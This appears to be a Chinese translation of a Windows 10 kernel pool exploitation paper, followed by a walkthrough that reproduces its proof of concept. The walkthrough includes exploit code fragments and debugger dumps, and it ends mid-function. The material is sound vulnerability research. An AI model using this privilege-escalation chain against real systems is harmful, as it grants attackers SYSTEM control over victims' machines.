這一節的目的是為了介紹利用一個漏洞來實現Windows System權限提升的技術。假設攻擊者在低完整性級別。
最終的目的是為了開發最通用的漏洞利用程序,可用于不同類型的內存,PagedPool和NonPagedPoolNx,具有不同大小的塊和能夠提供以下所需條件的任意堆溢出漏洞。
當目標為BlockSize時,漏洞需要提供用一個可控的值重寫下一個塊的POOL_HEADER的第三個字節的能力。
當目標為PoolType時,漏洞需要提供用一個可控的值重寫下一個塊的POOL_HEADER的第一個和第四個字節的能力。
在所有的情況下,都需要控制漏洞對象的分配和釋放,以最大限度的提升堆噴射的成功率。
4.2利用策略
所選擇的利用策略使用攻擊下一個塊的POOL_HEADER的PoolType和PreviousSize字段的能力。易受堆溢出漏洞影響的塊被稱為“漏洞塊”,放置在其后的塊被稱為“被覆蓋的塊“;
正如在3.2節中描述的,通過控制下一個塊的POOL_HEADER的PoolType字段和PreviousSize字段,攻擊者可以更改被覆蓋的塊實際釋放的位置。可以通過多種方式利用這種原語。
當攻擊者將PreviousSize字段設置為漏洞塊的大小時,這將允許在UAF的情況下實現池溢出。因此,在請求釋放被覆蓋的塊時,漏洞塊將被取代,并處于UAF的狀態,圖14展示了這個技術。

然而,我們選擇了另一種技術。該原語可以被用來在漏洞塊的中間觸發被覆蓋的塊的釋放。可以在漏洞塊中偽造一個假的POOL_HEADER(或者是替換它的塊),并且使用PoolType攻擊重定向該塊上的空閑區。這將允許在合法的塊中間創建一個虛假的塊,并且處于相當好的溢出情況。這個塊相應的被稱為“幽靈塊”。
幽靈塊至少覆蓋兩個塊,漏洞塊和被覆蓋區塊,圖15展示了這種技術

最后一項利用技術看起來比UAF更好利用,因為它使得攻擊者處于更好的狀態來控制任意對象的內容。
然后,可以使用允許任何數據控制的對象來重新分配漏洞塊。這允許攻擊者能夠控制部分“幽靈塊”中分配的對象。
為了放置“幽靈塊”,必須找到一個有趣的對象。為了使漏洞利用程序更加通用,對象應該滿足下列要求:
- 如果可以完全控制或部分控制的情況下,能提供任意讀寫原語。
- 有能力控制它的分配和釋放
- 具有最小0x210的可變大小,以便從相應的快表中分配到“幽靈塊”中,但要盡可能小(避免在分配時浪費太多堆空間)
由于漏洞塊可以放置在PagedPool和NonPagedPoolNx中,因此需要兩個此類對象,一個PagedPool中分配,另一個在NonPagedPoolNx中分配。
這種對象不是常見的,所以作者沒有發現完美的此類對象。這就是為什么使用僅能提供任意讀原語的對象作為開發EXP策略的原語。攻擊者依然可以控制幽靈塊的POOL_HEADER。這意味著Quota Pointer Process Overwrite攻擊可以被用于獲取任意遞減原語。ExpPoolQuotaCookie和幽靈塊的地址可以使用任意地址讀原語恢復。
開發的利用程序使用的是最后的這個技術。通過利用堆處理和有趣的對象的溢出,實現4個字節溢出轉為從低完整性到System完整性的權限提升。
4.3 目標對象
分頁池創建管道后,用戶可以向管道添加屬性。屬性是存儲在鏈表中的鍵值對。管道屬性對象在分頁池中分配,使用下面的內核中的結構體來定義。
//PipeAttribute是未公開的結構體
struct PipeAttribute {
LIST_ENTRY list;
char * AttributeName;
uint64_t AttributeValueSize ;
char * AttributeValue ;
char data [0];
};
分配的大小和填充的數據完全由攻擊者控制。屬性名和屬性值是指向數據區不同偏移的兩個指針。
可以使用NtFsControlFile系統調用和0x11003C控制碼在管道上創建管道屬性,見下圖所示的代碼
HANDLE read_pipe;
HANDLE write_pipe;
char attribute [] = "attribute_name \00 attribute_value"
char output [0 x100 ];
CreatePipe(read_pipe , write_pipe , NULL , bufsize);
NtFsControlFile (write_pipe ,
NULL ,
NULL ,
NULL ,
&status ,
0x11003C ,
attribute ,
sizeof(attribute),
output ,
sizeof(output)
);
可以使用0x110038控制碼來讀取屬性值。屬性值指針和屬性值大小將被用于讀取屬性值并返回給用戶。屬性值可以被修改,但這會觸發先前的PipeAttribute的釋放和新的PipeAttribute的分配。
這意味著如果攻擊者可以控制PipeAttribute結構體的AttributeValue和AttributeValueSize字段,它就可以在內核中任意讀取數據,但不能任意寫。這個對象也非常適合在內核中放置任意數據。這意味著它可以用來申請一個漏洞塊并控制幽靈塊的內容。
NonPagedPoolNx
在管道中使用WriteFile是一種眾所周知的NonPagedPoolNx噴射技術。當往管道中寫入時,NpAddDataQueueEntry函數會創建下圖所示的結構體
struct PipeQueueEntry
{
LIST_ENTRY list;
IRP *linkedIRP;
__int64 SecurityClientContext ;
int isDataInKernel ;
int remaining_bytes__ ;
int DataSize;
int field_2C;
char data [1];
};
PipeQueueEntry的大小和數據是由用戶控制的,因為數據直接存儲在結構體后面。
當使用函數NpReadDataQueue中的條目時,內核將會遍歷條目列表,并使用條目來檢索數據。
if ( PipeQueueEntry -> isDataAllocated == 1 )
data_ptr = (PipeQueueEntry ->linkedIRP ->SystemBuffer);
else
data_ptr = PipeQueueEntry ->data;
[...]
memmove (( void *)(dst_buf + dst_len - cur_read_offset ), &data_ptr[
PipeQueueEntry ->DataSize - cur_entry_offset ], copy_size);
如果isDataAllocated字段等于1,則數據沒有直接存儲在結構體后面,但是其指針存儲在IRP中,由linkedIRP指向。如果攻擊者能夠完全控制這個結構體,他可以設置isDataInKernel為1,并且使指針linkIRP在用戶層。然后使用用戶層的LinkedIRP字段的SystemBuffer字段(偏移0x18)讀取條目中的數據。這就提供了一個任意讀原語。這個對象也非常適合在內核中存儲任意數據。它可以被用于申請一個易受攻擊的塊且控制幽靈塊的內容。
4.4 噴射
本節描述了噴射內核堆以獲取所需的內存布局的技術。
為了獲取4.2節中介紹的內存布局,必須要進行一些堆噴射。堆噴取決于漏洞塊的大小,因為它最終會在不同的分配后端中。
為了便于噴射可以確保相應的快表是空的。分配超過256個大小合適的塊可以確保這一點。
如果漏洞塊小于0x200,那么它將位于LFH后端。然后,噴射將會在完全相同的塊中完成,對相應的bucket粒度求模?以確保他們都從同一個bucket中分配。正如2.1節的介紹,當請求分配時,LFH后端將掃描最多以32個block塊為一組的BlockBitmap,并隨機選擇一個空閑塊。在分配的漏洞塊的前后各分配超過32個合適大小的塊應該可以對抗隨機化。
如果漏洞塊大于0x200但小于0x10000,最終它將在可變大小后端中。然后噴射將以漏洞塊的大小完成。過大的塊會被分開,因此堆噴將會失敗。首先,分配上千個選中大小的塊,以確保清空所有FreeChunkTree中大于選中大小的塊,然后分配器將分配一個0x10000字節大小的新的VS子段并放在FreeChunkTree中。然后再分配上千個塊,最終都位于一個新的大空閑塊,因此是連續的。然后釋放最后分配的塊的三分之一,以填充FreeChunkTree。僅僅釋放三分之一以確保沒有塊被合并。然后使得漏洞塊被分配。最終,釋放的塊將被重新分配以最大限度的增加噴射機會。
由于所有的利用技術都需要釋放和重新分配漏洞塊和幽靈塊,因此啟動相應的動態快表以簡化空閑塊的恢復真的非常有趣。為此,一個簡單的方案是分配上千個相應大小的塊,等兩秒,分配另外上千個塊并等一秒。因此,我們可以確保平衡管理器重新平衡了相應的快表。分配上千個塊以確保快表在最常使用的快表中,因此將被打開并且確保有足夠的空間。
4.5 利用
演示設置 為了演示下面的利用,創建了一個虛假的漏洞。
開發了一個windows驅動,暴露了許多IOCTL,他們可以:
- 在PagedPool中分配一個大小可控的塊
- 在塊中觸發一個受控的memcpy,實現一個受控的池溢出
- 釋放分配的塊
當然,這僅僅是為了做一個演示,并且提供了更多漏洞利用所需的控制。
這些設置允許攻擊者可以:
- 控制漏洞塊的大小,這不是強制的,但是最好可以實現,因為可控的大小會簡化漏洞利用。
- 控制漏洞塊的分配和釋放
- 使用受控的值覆蓋下一個塊的POOL_HEADER的前4個字節
當然,漏洞塊分配在PagedPool中。這非常重要,因為池的類型也許會改變在利用中使用的對象,同時對利用程序自身也有很大的影響。此外,針對NonPagedPoolNx的利用是非常相似的,僅使用PipeQueueEntry就可以取代PipeAttribute,實現噴射并得到任意讀原語。
對于這個例子,將選擇0x180作為漏洞塊的大小。關于漏洞塊的大小和漏洞利用中的影響將在4.6節中討論。
創建幽靈塊 這里的第一步是處理堆,以便在漏洞塊后放置受控的對象。
用來覆蓋塊的對象可以是任意的,唯一需要控制的是什么時候釋放。為了簡化利用,最好選擇一個可以被噴射對象,在4.2節中可以看到。
現在可以觸發漏洞了,被覆蓋的POOL_HEADER要被以下值取代:
- PreviousSizes:0x15。此大小將乘以0x10。0x180-0x150=0x30,漏洞塊中虛假的POOL_HEADER的偏移。
- PoolIndex:0,或者是任意值,這個值沒有使用
- BlockSize:0,或者是任意值,這個值沒有使用
- PoolType:PoolType|4,設置CacheAligned位

虛假的POOL_HEADER必須放在漏洞塊的已知偏移處。這是通過釋放漏洞塊對象且使用PipeAttribute對象重新分配塊實現的。
為了演示,虛假POOL_HEADER在易受攻擊的塊偏移0x30位置處。虛假的POOL_HEADER格式如下:
- PreviousSize:0,或任意值,這個值沒有被使用
- PoolIndex:0,或任意值,這個值沒有被使用
- BlockSize:0x21,這個值將乘以0x10,且是已釋放的塊的大小
- PoolType:PoolType,不要設置CacheAligned和PoolQuota位
BlockSize的選擇不是隨機的,它是實際要釋放的塊的大小。由于目標是在之后重用此分配,因此需要選一個易于重用的大小。由于所有小于0x200的塊都在LFH中,因此必須避免這樣的大小。不在LFH中的最小大小為0x200,塊的大小為0x210。0x210大小使用VS 分配器,并且有資格使用2.1節中描述的動態快表。
可以通過噴射和釋放0x210字節的塊來啟用。
現在可以釋放被覆蓋的塊,并且這將觸發緩存對齊。它將在OverwritenChunkAddress-(0x15*0x10)處釋放區塊,也是VulnerableChunkAddress+0x30處,而不是在被覆蓋區塊的地址釋放區塊。用于釋放的塊POOL_HEADER是虛假POOL_HEADER,內核并沒有釋放漏洞的塊,而是釋放了一個0x210大小的塊,并且將其放在動態鏈表的頂部。在圖17中進行了展示。

不幸的是,虛假POOL_HEADER的PoolType對釋放的塊是放在PagedPool還是NonPagedPoolNx中沒有影響。
動態快表是由分配的段來選擇的,該段是從塊的地址派生的。它意味著如果漏洞塊在Paged Pool中,那么幽靈塊將被放在Paged Pool的快表中。
覆蓋的塊現在處于丟失狀態;內核認為它已經釋放了,并且塊上的所有引用都已經被刪除。它將不會再被使用了。
泄露幽靈塊的內容 幽靈塊現在也可以使用PipeAttribute對象重新分配。PipeAttribute結構會覆蓋放在漏洞塊的屬性值。通過讀此管道的屬性值,就可以導致幽靈塊的PipeAttribute屬性內容被泄露。現在已知幽靈塊和漏洞塊的地址。這一步在圖18中介紹了。

得到一個任意讀原語 可以再次釋放漏洞塊,并使用其他的PipeAttribute再次分配。這時,PipeAttribute的數據將覆蓋幽靈塊的PipeAttribute。因此,幽靈塊的PipeAttribute屬性將被完全控制。一個新的PipeAttribute屬性將被注入到位于用戶層的列表中。這一步在圖19中進行了介紹。

現在,通過請求讀取幽靈塊的PipeAttribute屬性,內核將使用用戶層的PipeAttribute,因此可以實現完全控制。正如之前看到的,通過控制屬性值指針和屬性值大小,可以提供到一個任意讀原語。圖20介紹了一個任意讀原語。

使用泄露的第一個指針和任意讀原語,可以檢索npfs的代碼節上的指針。通過讀取導入表,可以讀取ntoskrnl代碼節上的指針,它可以提供內核的基址。從那兒開始,攻擊者能夠讀取ExpPoolQuotaCookie值,并檢索EXP進程的EPROCESS結構體的地址和TOKEN的地址。
得到一個任意遞減原語 首先,使用PipeQueueEntry在內核區精心制作一個虛假的EPROCESS結構,并使用任意讀來檢索它的地址。
然后,EXP可以再次釋放和重新分配漏洞塊,來改變幽靈塊的內容和POOL_HEADER。
幽靈塊的POOL_HEADER被下列值覆蓋:
- PreviousSize:0,或者任意值,這個值沒有使用
- PoolIndex:0,或者任意值,這個值沒有使用
- BlockSize:0x21,這個值將乘以0x10
- PoolType:8,PoolQuota位被設置
- PoolQuota:ExpPoolQuotaCookie 異或FakeEprocessAddress 異或 GhostChunkAddress
釋放幽靈塊后,內核將嘗試解引用與EPROCESS相關的Quota counter。它將使用虛假EPROCESS結構體來尋找要解引用的指針值。
這將提供任意遞減原語。遞減的值是PoolHeader中的BlockSize,所以它在0x0到0xff0以0x10對齊。
從任意遞減到System權限 在2012年,Cesar Cerrudo[3]描述了一種通過設置TOKEN結構體的Privileges.Enable字段來實現權限提升的技術。
Privileges.Enable字段保存了這個進程開啟的權限。默認情況下,低完整性的Token的Privileges.Enable字段被設置為0x0000000000800000,這個值只會授予SeChangeNotifyPrivilege。將此位的值減去1,它將變成 0x000000000007fff,這將啟用更多的權限。
在bit字段上設置第20bit,可以啟用SeDebugPrivilege。SeDebugPrivilege允許一個進程調試系統上的任意進程。因此有能力注入任意代碼到特權進程。
EXP在[1]介紹了配額進程指針覆蓋(Quota Pointer Process Overwrite),可以使用任意遞減原語來設置其進程的SeDebugPrivilige權限。圖21對這個技術進行了介紹。

然而,自windows 10 v1607開始,內核開始檢查Token結構體的Privileges.Present字段的值。Token的Privileges.Present字段可以通過使用AdjustTokenPrivileges API開啟權限列表。所以,Token的實際權限,現在是由Privileges.Present & Privileges.Enable的位域結果來定的。
默認情況下,低完整性級別的Token的Privileges.Present被設置為0x602880000。因為0x602880000 & (1<<20) ==0,在Privileges.Enabled中設置SeDebugPrivilege不足以獲取SeDebugPrivilege。
為了獲得Privileges.Present bitfield中的SeDebugPrivilege,一個想法是遞減Privileges.Present的bitfield。然后,攻擊者可以使用AdjustTokenPrivileges API來打開SeDebugPrivilege。然而,SepAdjustPrivileges函數額外進行了檢查,并且這取決于Token的完整性,一個進程不能啟用任意權限,即使需要的權限在Privileges.Present的bitfield中。對于高完整性級別,進程可以啟用Privileges.Present位域中的任何權限。對于中完整性級別,一個進程只能開啟Privileges.Present特權和0x1120160684位域。對于低完整性級別,一個進程只能開啟Privileges.Present特權和0x202800000位域。
這意味著從單一的任意遞減原語獲取SYSTEM權限的技術已經涼涼。
但是,它完全可以用兩種任意遞減原語來實現,先遞減Privileges.Enable,然后遞減Privileges.Present。
幽靈塊可以被重新分配,且它的POOL_HEADER可以被再次覆蓋,來獲得第二個任意遞減。
一旦再次獲取到SeDebugPrivilege,EXP即可打開任意SYSTEM權限進程,并注入shellcode實現彈出一個SYSTEM權限的shell。
4.6 討論當前的EXP
所提供的漏洞利用代碼可在 [2] 處獲得,以及易受攻擊的驅動程序。 這個漏洞只是一個概念證明,可以隨時改進。
4.7 討論漏洞對象的大小
根據易受攻擊對象的大小,漏洞利用可能有不同的要求。
上述漏洞利用僅適用于最小大小為 0x130 的漏洞塊。這是因為幽靈塊的大小必須至少為0x210。
對于大小低于 0x130 的漏洞塊,幽靈塊的分配將覆蓋被覆蓋塊后面的塊,并在釋放時觸發崩潰。這是可修復的,但是留給讀者自己去練習吧。
在LFH的漏洞對象(小于0x200的塊)和VS段的漏洞對象(大于0x200)之間有一些不同。主要的是,在VS塊的前面有額外的頭。它意味著能夠控制VS segment 的下一個塊的POOL_HEADER,至少需要堆溢出0x14個字節。這也意味著當覆蓋的塊將被釋放時,它的 _HEAP_VS_CHUNK_HEADER 必須已修復。另外,要注意的是不能釋放覆蓋的塊之后2個噴射了合適大小的塊,因為VS的釋放機制也許會讀覆蓋的塊的頭部企圖合并3個空閑塊。
最后,LFH和VS中的堆處理是相當不同的,正如4.4節中講到的。
5 結論
這篇文章描述了自Windows 10 19H1以來池內部的一個狀態。段堆被引入內核且不需要元數據來正常工作。然后,舊的POOL_HEADER依舊存在于每個塊的頭部,但用法不同。
我們演示了一些在內核中使用堆溢出的攻擊,通過攻擊特定池的內部。
演示的EXP可以適應任意可以提供最小堆溢出的漏洞,就可以實現從低完整性到SYSTEM完整性的本地權限提升。
6 引用
-
Corentin Bayet. Exploit of CVE-2017-6008 with Quota Process Pointer Overwrite attack. https://github.com/cbayet/Exploit-CVE-2017-6008/blob/master/Windows10PoolParty.pdf, 2017.
-
Corentin Bayet and Paul Fariello. PoC exploiting Aligned Chunk Confusion on Windows kernel Segment Heap. https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion, 2020.
-
Cesar Cerrudo. Tricks to easily elevate its privileges. https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf, 2012.
-
Matt Conover and w00w00 Security Development. w00w00 on Heap Overflows. http://www.w00w00.org/files/articles/heaptut.txt, 1999.
-
Tarjei Mandt. Kernel Pool Exploitation on Windows 7. Blackhat DC, 2011.
-
Haroon Meer. Memory Corruption Attacks The (almost) Complete History. BlackhatUSA, 2010.
-
Mark Vincent Yason. Windows 10 Segment Heap Internals. Blackhat US, 2016.
7 復現
原作者在寫這邊文章的同時,提供了一個demo用演示上述文章內提到的利用技術,這里我們來復現這個demo。
demo總共分為兩部分,分別為漏洞驅動程序和EXP。漏洞驅動使用Visual Studio編譯,EXP需要使用GCC編譯。
demo本身實現了兩種后端分配器(LFH和VS)的利用,但是在上述文章中是以LFH來進行講解,所以我們復現也以LFH后端進行復現。
這里我們按照EXP的執行流程進行分析,關于EXP中如何創建管道,如何構造Pipe_Attribute等內容,都很好理解,自行閱讀源碼即可,就不浪費時間分析了,這里主要復現和分析漏洞利用的關鍵過程。
1. 申請漏洞塊
使用已經構造好的pipe_attribute來給管道設置屬性,實現可以預測的漏洞塊的申請。
spray_pipes(spray1);
uintptr_t vuln = alloc_vuln(xploit);
printf("Vulnerable allocation is at 0x%016llX", vuln);
spray_pipes(spray2);
//spray1和spray2是構造好的pipe_attribute屬性
申請的漏洞塊如下所示
0: kd> !pool 0xFFFFB80008CFB3F0
Pool page ffffb80008cfb3f0 region is Paged pool
ffffb80008cfb0c0 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfb250 size: 190 previous size: 0 (Allocated) NpAt
*ffffb80008cfb3e0 size: 190 previous size: 0 (Allocated) *VULN //這里就是申請的漏洞塊
Owning component : Unknown (update pooltag.txt)
ffffb80008cfb570 size: 190 previous size: 0 (Allocated) NpAt //與漏洞塊相鄰的是即將被漏洞塊溢出后所覆蓋的塊,之后我們稱之為相鄰塊
ffffb80008cfb700 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfb890 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfba20 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfbbb0 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfbd40 size: 190 previous size: 0 (Allocated) NpAt
觸發漏洞前,漏洞塊和相鄰塊的原始值
0: kd> dq ffffb80008cfb3e0
ffffb800`08cfb3e0 4e4c5556`03190000 ffffffff`ffffffff
ffffb800`08cfb3f0 00009d70`0000000a ffffffff`00000168
ffffb800`08cfb400 00000000`00000000 00000056`0000003a
ffffb800`08cfb410 0000000a`00000000 7865646e`49707041
ffffb800`08cfb420 00000000`00007265 000f6b76`ffffffd8
ffffb800`08cfb430 00009670`0000001e 00000001`05f5e10c
ffffb800`08cfb440 4c646578`65646e49 00656761`75676e61
ffffb800`08cfb450 72c66400`fffffff0 00000101`d7ac7dbd
0: kd> dt nt!_POOL_HEADER ffffb80008cfb3e0
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00011001 (0x19)
+0x002 PoolType : 0y00000011 (0x3)
+0x000 Ulong1 : 0x3190000
+0x004 PoolTag : 0x4e4c5556
+0x008 ProcessBilled : 0xffffffff`ffffffff _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xffff
+0x00a PoolTagHash : 0xffff
0: kd> dq ffffb80008cfb570
ffffb800`08cfb570 7441704e`03196900 00000000`ffffffe8 //觸發漏洞后,相鄰塊的POOL_HEADER會被修改
ffffb800`08cfb580 ffffb800`09069850 ffffb800`09069850
ffffb800`08cfb590 ffffb800`08cfb5a8 00000000`00000156
ffffb800`08cfb5a0 ffffb800`08cfb5aa 41414141`4141005a
ffffb800`08cfb5b0 41414141`41414141 41414141`41414141
ffffb800`08cfb5c0 41414141`41414141 41414141`41414141
ffffb800`08cfb5d0 41414141`41414141 41414141`41414141
ffffb800`08cfb5e0 41414141`41414141 41414141`41414141
0: kd> dt nt!_POOL_HEADER ffffb80008cfb570
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y01101001 (0x69)
+0x002 BlockSize : 0y00011001 (0x19)
+0x002 PoolType : 0y00000011 (0x3)
+0x000 Ulong1 : 0x3196900
+0x004 PoolTag : 0x7441704e
+0x008 ProcessBilled : 0x00000000`ffffffe8 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xffe8
+0x00a PoolTagHash : 0xffff
2. 觸發漏洞
對漏洞塊執行復制操作,使其發生溢出,修改相鄰塊的POOL_HEADER,接著釋放漏洞塊,同時使用respray再次占用漏洞塊。使用respray再次占用漏洞塊的目的是為了給幽靈塊構造一個POOL_HEADER。
trigger_vuln(xploit, overflow, xploit->offset_to_pool_header + 4);
free_vuln();
spray_pipes(xploit->respray);
觸發漏洞后,相鄰塊的POOL_HEADER如下
0: kd> !pool 0xFFFFB80008CFB3F0
Pool page ffffb80008cfb3f0 region is Paged pool
ffffb80008cfb0c0 size: 190 previous size: 0 (Allocated) NpAt
ffffb80008cfb250 size: 190 previous size: 0 (Allocated) NpAt
*ffffb80008cfb3e0 size: 190 previous size: 0 (Allocated) *NpAt
Owning component : Unknown (update pooltag.txt)
//因為我們已經通過溢出修改了相鄰塊的POOL_HEADER,所以系統認為當前的相鄰塊不是有效的池分配。
ffffb80008cfb570 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
ffffb80008cfb570 is not a valid large pool allocation, checking large session pool...
Unable to read large session pool table (Session data is not present in mini and kernel-only dumps)
ffffb80008cfb570 is not valid pool. Checking for freed (or corrupt) pool
Bad allocation size @ffffb80008cfb570, zero is invalid
***
*** An error (or corruption) in the pool was detected;
*** Attempting to diagnose the problem.
***
*** Use !poolval ffffb80008cfb000 for more details.
Pool page [ ffffb80008cfb000 ] is INVALID.
Analyzing linked list...
Scanning for single bit errors...
None found
0: kd> dq ffffb80008cfb3e0 //這里是被respray再次占用的漏洞塊
ffffb800`08cfb3e0 7441704e`03190000 ffffffff`ffffffff
ffffb800`08cfb3f0 ffffb800`09109830 ffffb800`09109830
ffffb800`08cfb400 ffffb800`08cfb418 00000000`00000156
ffffb800`08cfb410 ffffb800`08cfb41a 42424242`4242005a
ffffb800`08cfb420 ffffffaf`00210000 42424242`42424242 //respray對原始的pipe_attribute值進行了修改,這里被賦值為幽靈塊的POOL_HADER
ffffb800`08cfb430 42424242`42424242 42424242`42424242
ffffb800`08cfb440 42424242`42424242 42424242`42424242
ffffb800`08cfb450 42424242`42424242 42424242`42424242
0: kd> dt nt!_POOL_HEADER ffffb800`08cfb420
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00100001 (0x21) //幽靈塊的大小 0x210/0x10
+0x002 PoolType : 0y00000000 (0)
+0x000 Ulong1 : 0x210000
+0x004 PoolTag : 0xffffffaf
+0x008 ProcessBilled : 0x42424242`42424242 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x4242
+0x00a PoolTagHash : 0x4242
0: kd> dq ffffb80008cfb570
ffffb800`08cfb570 7441704e`04000015 00000000`ffffffe8 //可以看到,相鄰塊的POOL_HEADER已被修改
ffffb800`08cfb580 ffffb800`09069850 ffffb800`09069850
ffffb800`08cfb590 ffffb800`08cfb5a8 00000000`00000156
ffffb800`08cfb5a0 ffffb800`08cfb5aa 41414141`4141005a
ffffb800`08cfb5b0 41414141`41414141 41414141`41414141
ffffb800`08cfb5c0 41414141`41414141 41414141`41414141
ffffb800`08cfb5d0 41414141`41414141 41414141`41414141
ffffb800`08cfb5e0 41414141`41414141 41414141`41414141
0: kd> dt nt!_POOL_HEADER dq ffffb80008cfb570
Cannot find specified field members.
0: kd> dt nt!_POOL_HEADER ffffb80008cfb570
+0x000 PreviousSize : 0y00010101 (0x15)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00000000 (0)
+0x002 PoolType : 0y00000100 (0x4)
+0x000 Ulong1 : 0x4000015
+0x004 PoolTag : 0x7441704e
+0x008 ProcessBilled : 0x00000000`ffffffe8 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xffe8
+0x00a PoolTagHash : 0xffff
從上圖我們可以看到,相鄰塊的POOL_HEADER中PreviousSize和PoolType已經被修改,且PoolType的CacheAligned位被設置,那么從原作者的文章中我們可以了解到,當一個塊的PoolType的CacheAligned位被設置,那么在釋放這個塊時,它將嘗試尋找原始的塊地址,以便正確的釋放此塊。
原始塊地址計算方法如下:
if ( AlignedHeader ->PoolType & 4 )
{
OriginalHeader = (QWORD)AlignedHeader - AlignedHeader ->PreviousSize * 0x10;
OriginalHeader ->PoolType |= 4;
}
由上面的調試可知,原始的塊地址為:ffffb80008cfb570 - 0x15 * 0x10 = ffffb80008cfb420
通過釋放相鄰塊,即可觸發對幽靈塊的釋放,所以我們將會得到一個大小為0x210的空閑堆。
3. 申請幽靈塊
對相鄰塊進行釋放,即可得到一個空閑的大小為0x210的幽靈塊
spray_pipes(xploit->lookaside1);
sleep(2);
spray_pipes(xploit->lookaside2);
sleep(1);
free_pipes(spray1);
free_pipes(spray2);//這里對相鄰塊進行了釋放
printf("[+] Alloc ghost !\n");
xploit->alloc_ghost_chunk(xploit, attribute);//通過給管道設置屬性,來申請剛剛釋放的幽靈塊。
申請到的幽靈塊如下
0: kd> dq ffffb80008cfb3e0
ffffb800`08cfb3e0 7441704e`03190000 ffffffff`ffffffff //這里是通過respray重新占用的漏洞塊的POOL_HEADER,大小為0x190
ffffb800`08cfb3f0 ffffb800`09109830 ffffb800`09109830
ffffb800`08cfb400 ffffb800`08cfb418 00000000`00000156
ffffb800`08cfb410 ffffb800`08cfb41a 42424242`4242005a
ffffb800`08cfb420 7441704e`03210000 42424242`42424242 //這里是幽靈塊,大小為0x210
ffffb800`08cfb430 ffffb800`0885a190 ffffb800`0885a190
ffffb800`08cfb440 ffffb800`08cfb458 00000000`000001d6
ffffb800`08cfb450 ffffb800`08cfb45a 43434343`4343005a
0: kd> dt nt!_POOL_HEADER ffffb800`08cfb420
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00100001 (0x21)
+0x002 PoolType : 0y00000011 (0x3)
+0x000 Ulong1 : 0x3210000
+0x004 PoolTag : 0x7441704e
+0x008 ProcessBilled : 0x42424242`42424242 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x4242
+0x00a PoolTagHash : 0x4242
0: kd> dq ffffb800`08cfb420
ffffb800`08cfb420 7441704e`03210000 42424242`42424242
ffffb800`08cfb430 ffffb800`0885a190 ffffb800`0885a190
ffffb800`08cfb440 ffffb800`08cfb458 00000000`000001d6
ffffb800`08cfb450 ffffb800`08cfb45a 43434343`4343005a
ffffb800`08cfb460 43434343`43434343 43434343`43434343
ffffb800`08cfb470 43434343`43434343 43434343`43434343
ffffb800`08cfb480 43434343`43434343 43434343`43434343
ffffb800`08cfb490 43434343`43434343 43434343`43434343
從上圖我們可以發現,實際上,通過上面的操作,漏洞塊和幽靈塊共享了同一部分內存,也就是從漏洞塊POOL_HEADER處偏移0x40的位置開始,漏洞塊和幽靈塊共享了0x150大小的內存。
4. 信息泄露
if (!xploit->get_leak(xploit, xploit->respray))
return 0;
int get_leak(xploit_t * xploit, pipe_spray_t * respray)
{
char leak[0x1000] = {0};
//#define ATTRIBUTE_NAME "Z"
xploit->leak_offset = xploit->targeted_vuln_size + xploit->offset_to_pool_header - xploit->backward_step - xploit->struct_header_size - ATTRIBUTE_NAME_LEN; //leak_offset=0x6
LOG_DEBUG("Leak offset is 0x%X", xploit->leak_offset);
// leak the data contained in ghost chunk
xploit->leaking_pipe_idx = read_pipes(respray, leak);//int read_pipes(pipe_spray_t * pipe_spray, char * leak)
if (xploit->leaking_pipe_idx == -1)
{
if (xploit->backend == LFH)
fprintf(stderr, "[-] Reading pipes found no leak :(\n");
else
LOG_DEBUG("Reading pipes found no leak");
return 0;
}
LOG_DEBUG("Pipe %d of respray leaked data !", xploit->leaking_pipe_idx);
// leak pipe attribute structure !
xploit->leak_root_attribute = *(uintptr_t *)((char *)leak + xploit->leak_offset + 0x10); // list.next
xploit->leak_attribute_name = *(uintptr_t *)((char *)leak + xploit->leak_offset + 0x20); // AttributeName
// 0x10 is POOL_HEADER
xploit->ghost_chunk = xploit->leak_attribute_name - LEN_OF_PIPE_ATTRIBUTE_STRUCT - POOL_HEADER_SIZE;
printf("[+] xploit->leak_root_attribute ptr is 0x%llX\n", xploit->leak_root_attribute);
printf("[+] xploit->ghost_chunk ptr is 0x%llX\n", xploit->ghost_chunk);
return 1;
}
目前我們已經構造出漏洞塊和幽靈塊共享同一塊內存的局面,且我們準確的知道幽靈塊與漏洞塊的偏移值。所以實際上可以通過NtFsControlFile來獲取漏洞塊的屬性值,那么實際獲取到的其實是幽靈塊的Pipe_Attribute結構的值。因為在后面的利用中,我們要給幽靈塊偽造一個Fake_Pipe_Attribute,同時在利用結束后,需要恢復幽靈塊的Pipe_Attribute的原始值,以防藍屏,所以這里要對原始的Pipe_Attribute值進行保存。
5. 幽靈塊設置Fake_Pipe_Attribute
因為幽靈塊和漏洞塊共享同一塊內存,所以要修改幽靈塊的Pipe_Attribute,實際只需要修改漏洞塊的Pipe_Attribute值即可。
xploit->setup_ghost_overwrite(xploit, rewrite_buf);
xploit->rewrite = prepare_pipes(SPRAY_SIZE * 4, xploit->targeted_vuln_size + POOL_HEADER_SIZE, rewrite_buf, xploit->spray_type);
close_pipe(&xploit->respray->pipes[xploit->leaking_pipe_idx]);//釋放漏洞塊
spray_pipes(xploit->rewrite);//再次占用漏洞塊
void setup_ghost_overwrite(xploit_t * xploit, char * ghost_overwrite_buf)
{
pipe_attribute_t * overwritten_pipe_attribute;
strcpy(ghost_overwrite_buf, ATTRIBUTE_NAME);
